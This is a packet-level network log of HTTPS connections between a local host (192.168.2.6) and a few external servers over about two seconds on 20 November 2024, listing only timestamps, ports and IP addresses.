Nov 20, 2024 08:12:55.700839043 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.700851917 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.700892925 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.700892925 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.703877926 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.703892946 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.704042912 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.704052925 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.704273939 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.788670063 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.788703918 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.789012909 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.789012909 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.789031029 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.790144920 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.790172100 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.790447950 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.790447950 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.790468931 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.790817976 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.791779995 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.791800022 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.792768955 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.792843103 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.792843103 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.792865992 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.793010950 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.877486944 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.877552986 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.877590895 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.877607107 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.877618074 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.878309011 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.879055977 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.879086971 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.879242897 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.879257917 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.879385948 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.879970074 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.879997015 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.880240917 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.880240917 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.880253077 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.880373001 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.881715059 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.881763935 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.881803989 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.881814003 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.881850958 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.882841110 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.883455992 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.883500099 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.883584023 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.883584023 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.883594036 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.883681059 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.884309053 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.884351969 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.884390116 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.884401083 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.884411097 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.884496927 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:55.885126114 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:55.961061001 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:55.961157084 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:55.976496935 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:55.990566015 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.001979113 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.003973007 CET	49974	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:56.004004955 CET	443	49974	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:56.025594950 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.041440010 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.049602985 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.053049088 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.097223043 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.131023884 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.176775932 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:56.176794052 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.177088976 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.182924032 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:56.183517933 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.183533907 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.184101105 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.184106112 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.187597990 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.187633991 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.188113928 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.188119888 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.188896894 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.188903093 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.189362049 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.189367056 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.189404964 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.189413071 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.189646959 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.189652920 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.189901114 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.189913988 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.190414906 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.190427065 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.227335930 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.283566952 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.284460068 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.284502983 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.284898043 CET	49980	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.284910917 CET	443	49980	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.285717964 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.285799980 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.285842896 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.285989046 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.286004066 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.286113024 CET	49978	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.286120892 CET	443	49978	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.289136887 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.289247990 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.289314985 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.290337086 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.290539980 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.290584087 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.290900946 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.290900946 CET	49977	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.290920019 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.290930033 CET	443	49977	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.291925907 CET	49976	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.291937113 CET	443	49976	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.292253971 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.292582035 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.292623997 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.292640924 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.292681932 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.293948889 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.293970108 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.294023991 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.294223070 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.294223070 CET	49979	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.294230938 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.294240952 CET	443	49979	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.294595957 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.294634104 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.294680119 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.296344995 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.296359062 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.296370029 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.296377897 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.296415091 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.296801090 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.296813011 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.297775984 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.297784090 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.298492908 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298516035 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.298583031 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298584938 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298604012 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.298671007 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298682928 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.298820019 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298820019 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.298841000 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.396708012 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.396790981 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.396871090 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:56.399869919 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:56.399869919 CET	49975	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:56.399889946 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.399899960 CET	443	49975	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:56.930906057 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.944498062 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.944572926 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.944606066 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.947069883 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.947678089 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.947689056 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.951915026 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.951925039 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.953026056 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.953032017 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.953455925 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.953488111 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.954251051 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:56.954262972 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.965193987 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:56.974472046 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.001983881 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.002005100 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.002007008 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.002028942 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.002702951 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.002710104 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.002804995 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.002810955 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.042795897 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.043020964 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.043113947 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.043204069 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.043220997 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.043232918 CET	49986	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.043242931 CET	443	49986	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.046158075 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.046211958 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.046281099 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.047305107 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.047327042 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.049649954 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.049851894 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.049913883 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.049962044 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.049978018 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.050007105 CET	49989	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.050012112 CET	443	49989	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.052206993 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.052249908 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.052328110 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.052508116 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.052520037 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.065105915 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.065319061 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.065380096 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.065407038 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.065419912 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.065428972 CET	49987	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.065433979 CET	443	49987	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.071183920 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.071217060 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.071280956 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.071434975 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.071449041 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.103722095 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.103959084 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.103975058 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.104017973 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.104036093 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.104105949 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.104378939 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.104433060 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.104480982 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.104923010 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.104947090 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.104974985 CET	49988	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.104981899 CET	443	49988	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.106369019 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.106369019 CET	49985	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.106389999 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.106406927 CET	443	49985	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.111018896 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.111057043 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.111180067 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.112580061 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.112617016 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.112685919 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.113044024 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.113059998 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.113261938 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.113274097 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.726011992 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.726228952 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.727783918 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.727818012 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.728238106 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.728245020 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.728575945 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.728601933 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.728944063 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.728949070 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.730439901 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.730753899 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.730787039 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.731148958 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.731158018 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.748467922 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.748961926 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.748981953 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.749505997 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.749512911 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.751302004 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.751833916 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.751873016 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.752374887 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.752383947 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.826580048 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.826879978 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.826941013 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.826987028 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.826987028 CET	50000	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.827007055 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827019930 CET	443	50000	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827034950 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827281952 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827333927 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.827352047 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827409983 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827452898 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.827570915 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.827584982 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.827600956 CET	49998	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.827605963 CET	443	49998	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.830118895 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830157995 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.830251932 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830252886 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830290079 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.830379963 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830411911 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830424070 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.830507994 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.830523014 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.837341070 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.837667942 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.839831114 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.839951992 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.839970112 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.839984894 CET	49997	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.839991093 CET	443	49997	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.842782974 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.842803955 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.842895031 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.843075991 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.843089104 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.849296093 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.849318027 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.849363089 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.849379063 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.849582911 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.849587917 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.849610090 CET	50005	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.849617958 CET	443	50005	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.852739096 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.852776051 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.852915049 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.853598118 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.853663921 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.853698015 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.853709936 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.853730917 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.853790045 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.853805065 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.853813887 CET	50004	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.853820086 CET	443	50004	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:57.855846882 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.855874062 CET	443	50016	13.107.246.42	192.168.2.6
